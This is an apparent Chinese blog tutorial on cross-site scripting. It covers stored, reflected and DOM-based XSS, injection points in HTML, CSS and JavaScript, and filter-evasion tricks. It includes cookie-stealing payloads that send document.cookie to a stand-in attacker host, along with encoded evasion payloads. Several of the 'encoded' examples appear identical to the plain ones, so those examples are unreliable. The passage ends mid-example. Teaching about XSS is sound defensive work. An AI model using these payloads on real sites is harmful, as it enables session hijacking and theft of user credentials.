最近才开始研究HTML以及安全问题。如果有什么说得不对的地方,望请指出。
在网络应用安全中,XSS可能是最常见,范围最大,所包含攻击方法最多,同时也是最难以理解的一种攻击。在OWASP所列出的十大网络应用安全风险中,其排名第二位,仅次于SQL Injection。
而在本篇文章中,我们将一步一步深入挖掘XSS的攻击流程,攻击手段,以及防御方法等各个方面。
XSS示例
在深入了解XSS的各个方面之前,让我们首先了解XSS攻击到底是怎样完成的。
就以一个博客应用为例。其常常需要允许读者对博主的文章进行评论。在输入评论的编辑栏中,我们可以输入对该文章的评论,也可以输入以下HTML标记:
1 <Script>alert(“XSS attack available!”);</Script>
在读者按下提交键之后,该标记将被提交到服务器上,并在其它用户访问时作为评论显示。此时该用户所看到网页中包含该标记的部分元素可能为:
1 <div>
2 <Script>alert(“XSS attack available!”);</Script>
3 </div>
而从用户的角度来看,该网页中就出现了一个警告:
也就是说,用户输入的脚本语言已经被用户的浏览器成功执行。当然,这可能只是一个对该网站的善意提醒。但是对于一个真正具有恶意的攻击者,其所插入的脚本代码更可能如下所示:
1 <script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+'
2 width=16 height=16 border=0 />');</script>
该段脚本将向当前评论内插入一个图片,而该图片所对应的URL则指向了hackerhome中的JSP页面grabber.jsp。从访问该评论的用户这一角度看来,其仅仅是一个不能显示的图片。但是对于恶意攻击者而言,该JSP页面将自动记录传入的msg参数内容,即访问评论用户所使用的cookie。该cookie可能包含用户的敏感信息,甚至是用户名,密码等重要信息。
XSS分类
上面的XSS示例实际上是最容易理解的一种:Stored。除此之外,XSS攻击还包含另外两种攻击方式:Reflected以及DOM Based(Type-0 XSS)。下面我们就来具体讲解各个攻击方式以及各自的特点。
首先要讲解的就是我们已经见过的Stored攻击。该攻击的最大特点就是,用于攻击的数据永久地存储在目标网站的服务器中。试着回想上面所给出的例子:在恶意用户提交带有恶意代码的评论时,为了能让该评论可以被其它用户看到,网站的开发人员必然需要将其永久性地存储起来,例如数据库。使用该方法进行攻击的XSS将对所有访问该页面的用户可见,并且一直保存下去,直到该评论被管理员处理。
第二类XSS攻击则是Reflected攻击。该攻击的最大特点则与Stored攻击相对:用于攻击的数据并不是永久地存储在目标网站的服务器中。
那这种攻击是如何实现的呢?请试想这样一种情况:某个网站允许其用户通过搜索的方式查找具有特定名称的商户。对于商户名称SomeStore,该搜索功能所返回的页面地址可能为:
1 www.SomeWeb.com/search.jsp?storename=SomeStore
如果该查找功能没有查找到具有该名称的商户,那么网站将会返回一个错误页面:没有查找到名称为SomeStore的商户信息。此时恶意用户首先可以通过在搜索栏中输入<Script>alert(“XSS attack available!”);</Script>并执行搜索判断该网站是否有XSS漏洞。如果返回的搜索页面出现了“XSS attack available!”消息框,那就表示该页面仅仅简单地将URL中的参数SomeStore显示在了页面之中,而并没有对脚本的执行做出防备。接下来,恶意用户就可以将商户名设为如下的恶意代码:
1 <script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+'
2 width=0 height=0 border=0 />SomeStore');</script>
也正是由于搜索页面仅仅简单地将该部分组成直接嵌于页面之上,因此用户从服务器端得到的网页将包含该段代码,其将自动访问hackerhome上的grabber.jsp,并将用户的cookie作为参数msg的值,从而使得受害者的cookie失窃。
但是如何让用户访问这个页面呢?很简单,恶意用户仅仅需要向那些受害者发送该搜索的链接,并为该链接附上一段具有吸引力的话即可。如果受害者点击了该恶意链接,同时该网站的cookie在受害者的本地机器上没有过期,那么这个cookie将被恶意网站hackerhome所窃取。
还有一种类型的攻击也被归类为Reflected类型的攻击,那就是利用data:协议动态生成文件。该协议允许客户端直接创建二进制文件,如Doc或PDF文件等,并使用相应应用程序打开该文件。例如,恶意用户可以通过XSS插入下面的链接:
1 <a href="data:text/html;base64,PHNjcmlwdD5vcGVuZXIuZG9jdW1lbnQuYm9keS5pbm5lckhUTUw9J3h
2 4b28nO2Nsb3NlKCk8L3NjcmlwdD4=" target="_blank">Click me</a>
如果用户点击了该链接,那么电脑将自动使用关联的程序打开该文件。由于这些文件的读取等动作都需要相应的应用程序支持,因此恶意人员可以更进一步地利用相应的应用程序漏洞执行更丰富的攻击。
最后一种则是DOM Based攻击,又常常被称为Type-0 XSS攻击。它与前两种攻击方式拥有很大的不同:Stored和Reflected方式中,对有害内容的生成是在服务端完成的,而DOM Based攻击中,对有害内容的生成是在客户端完成的。例如一个图片浏览页面在URL中使用index参数表示当前用户所察看图片的索引,并通过javascript动态写入HTML元素:
1 <script>
2 var index = getIndex(document.URL);
3 document.write(“<IMG src=’www.imagestore.com/album1984/image?index=’ + index + ‘/>’”)
4 </script>
那么恶意用户就可以通过在URL的index参数中插入其它信息来完成。例如在该URL中,恶意用户可以为index参数指定参数值后额外添加一部分恶意语句,如经过编码后的index=1/><script>alert(“XSS attack available!”)</script><img width=0 height=0。当然,恶意用户并不会希望用户自己攻击自己,因此他仍然需要做一些额外的社会工作,例如发送邮件给受害者并诱使他点击该有害链接等。
攻击点
相信经过前面的讲解,您已经了解了XSS攻击所常用的三种方法。知道了方法以后,我们还要知道各个方法的目标,从而更好地在各个目标上对XSS攻击进行预防。
首先要清楚的是,XSS攻击所利用的都是页面中动态生成的部分。为了能让攻击顺利进行,这些动态生成的部分应能包含一系列代码,以通过这些代码的执行达到恶意用户的目的。更改页面所使用的动态组成是XSS攻击的第一步,而令这些动态组成在动态生成的内容中起作用则是XSS攻击的第二步。因此对于页面中使用动态内容的组成,我们需要根据其所在位置执行特定的检查。在不同的位置所允许的动态内容格式并不相同,而我们要做的就是屏蔽这些使用方法。
接下来需要读者清楚地是,攻击常常利用了各个组成中的特殊符号或关键字。例如对HTML标记的攻击就可以通过字符’>’将当前标记关闭,从而使插入script标记成为了可能。再比如对javascript的攻击则可以利用表示当前语句结束的分号’;’,进而输入下一句具有危害性的代码。所以说,各种XSS攻击所使用的手法需要根据攻击点所在的页面组成分别进行讨论。
第一个要说的就是HTML标记。HTML标记可以通过JSP,Javascript等方式动态生成。而在HTML标记中添加可执行代码的最常用方法就是<script>标记。例如对于下面的JSP代码:
1 <body … title=<%=title%>>…</body>
如果title记录的是字符串100><script> alert(“XSS attack available!”);</script,那么最终生成的HTML文件将如下所示:
1 <body … title=100><script>alert(“XSS attack available!”);</script>…</body>
可以看到,恶意攻击者所精心设计的标记将能够在普通用户毫无察觉的情况下执行恶意代码。
当然,恶意攻击者也可以选择不插入script标记,而是通过插入别的标记并在标记中插入对事件进行响应的javascript脚本来完成。如令上面的width变量为100><div onmousemove=”doEvil()”/,从而使最终的生成结果变为:
1 <body … width=100><div onmousemove=”doEvil()”/>…</body>
除此之外,恶意用户还可以对HTML标记中的属性动动手脚。我们知道,动态生成的HTML常常使用外部的一些变量生成其内容。例如一个JSP页面中可能存在着如下HTML元素:<body title=<%=somevar%> id=textbox>。可以看到,JSP变量somevar用来初始化属性title的值。但是如果恶意用户设法让该变量的值为a onload=alert(“XSS attack available!”),那么该元素的HTML标记将最终变为:
1 <body title=a onload=alert(“XSS attack available!”)>
也既是将在文档被载入时执行onload事件的响应代码,即为这里的alert(“XSS attack available!”)。
再比如,对HTML注释进行攻击。如果一个HTML注释中使用了JSP变量,那么恶意用户完全可以通过注释结束标记打开注释,并在恶意代码之后重新启动注释。例如对于注释中使用的JSP变量comment:
1 <!-- ...<%=comment%>-->
恶意用户可以尝试令JSP变量comment的值为--><script>alert(“XSS attack available!”)</script><!--。这样,一段脚本就成功地插入到了页面中:
1 <!----><script>alert(“XSS attack available!”)</script><!---->
除了HTML标记之外,对样式进行攻击也是XSS所使用的一个主要方法。在样式中,我们可以使用expression以及url指定一段代码,以动态求得所需要使用的样式。这也就为XSS攻击提供了一个契机:如果我们是通过一个JSP变量初始化的样式,那么恶意用户就可以尝试通过将该变量初始化为一个恶意表达式来完成攻击。例如对于如下两种样式:
1 <DIV STYLE=" <%=width%>">
2 <DIV STYLE="background-image: <%=image%>">
如果这两个JSP变量的值可以被某种用户输入更改,那么对这两个JSP变量width及image的使用就存在着一定的风险:在加载并使用这些样式的时候,该变量中所包含的脚本代码将被执行。例如在这两个变量分别为expression(alert('XSS attack available!'))及url(javascript:alert('XSS attack available!'))时,该页面的加载将显示“XSS attack available!”的警告信息。
除了样式和HTML标记之外,对Javascript的攻击也是非常常见的。在Javascript中使用JSP变量是一种非常常见的用法。在这种用法中,恶意用户仍然有办法执行攻击。例如对于下面的Javascript变量声明:
1 var index = <%=index%>;
对这种变量赋值进行攻击的方法非常简单:使用分号结束当前赋值语句,并在其后添加恶意代码即可。例如令index为0; alert(“XSS attack available!”);。那么最终生成的javascript将为:
1 var index = 0; alert(“XSS attack available!”);
当然,这里仅仅列出了一些通用的攻击手段,确切来说,就是攻击的点。而在各个点上进行攻击的方法又会分为很多种,甚至有些和浏览器相关。在后面的一节中,本文就将对这些变种进行简单的介绍。
变通方法
您可能在想:我通过对这些特殊情况进行处理,筛选出这些可能的攻击,那我的网站是不是就安全了?这里的答案是:不完全安全。首先,对每个攻击点进行攻击的方法可以拥有众多变种,因此对攻击点的防御并不是简单地将具有固定匹配模式的关键字筛选出去即可。其次,随着HTML等技术的演化以及浏览器的不断更新,对各个攻击点进行攻击的变化也在不断发展着。最后,各个浏览器内部对HTML进行分析的过程以及对错误进行纠正的能力各不相同,而有些攻击就是针对这种浏览器的特性而产生的。因此我们并不应自行实现对XSS攻击进行过滤的筛选器。
当然,仅仅在这里说XSS拥有一系列变通方式并不能让人完全信服,因此本节中列举了一系列常用的变通方式。
一种常用的规避检测的方法就是使用大小写变化。例如恶意用户可以更改恶意代码url(javascript:alert('XSS attack available!'))的大小写,如url(jAVAsCriPt:alert('XSS attack available!'))。这是筛选器所需要处理的最基本情况。
除此之外,筛选器还需要能够处理隐式创建字符串的情况。例如在javascript中,我们可以通过String.fromCharCode()函数隐式地创建字符串。那么通过和document.write()函数的组合,恶意用户可以非常隐蔽地向HTML文档写入字符串:
1 document.write(String.fromCharCode(88,83,83)); // 写入XSS
而更令人头疼的则是通过编码规避筛选器的检测。例如对于下面的恶意代码:
1 <IMG SRC="javascript:alert('XSS');">
您可以通过UTF-8的方式对其进行编码:
1 <IMG SRC=javascript:alert('XSS')>
而不包含分号的UTF-8编码则如下所示:
1 <IMG SRC=javascript:al
ert('XSS')>
而该编码也可以使用十六进制:
1 <IMG SRC=javascript:alert('XSS')>
甚至只编码一个字符:
1 <IMG SRC="javascript:alert('XSS');">
另外,在javascript中加入tab,回车,换行, 等符号也需要考虑在内,因为对于众多浏览器而言,这种写法是合法的:
1 <IMG SRC="jav ascript:alert('XSS');">
2 <SCR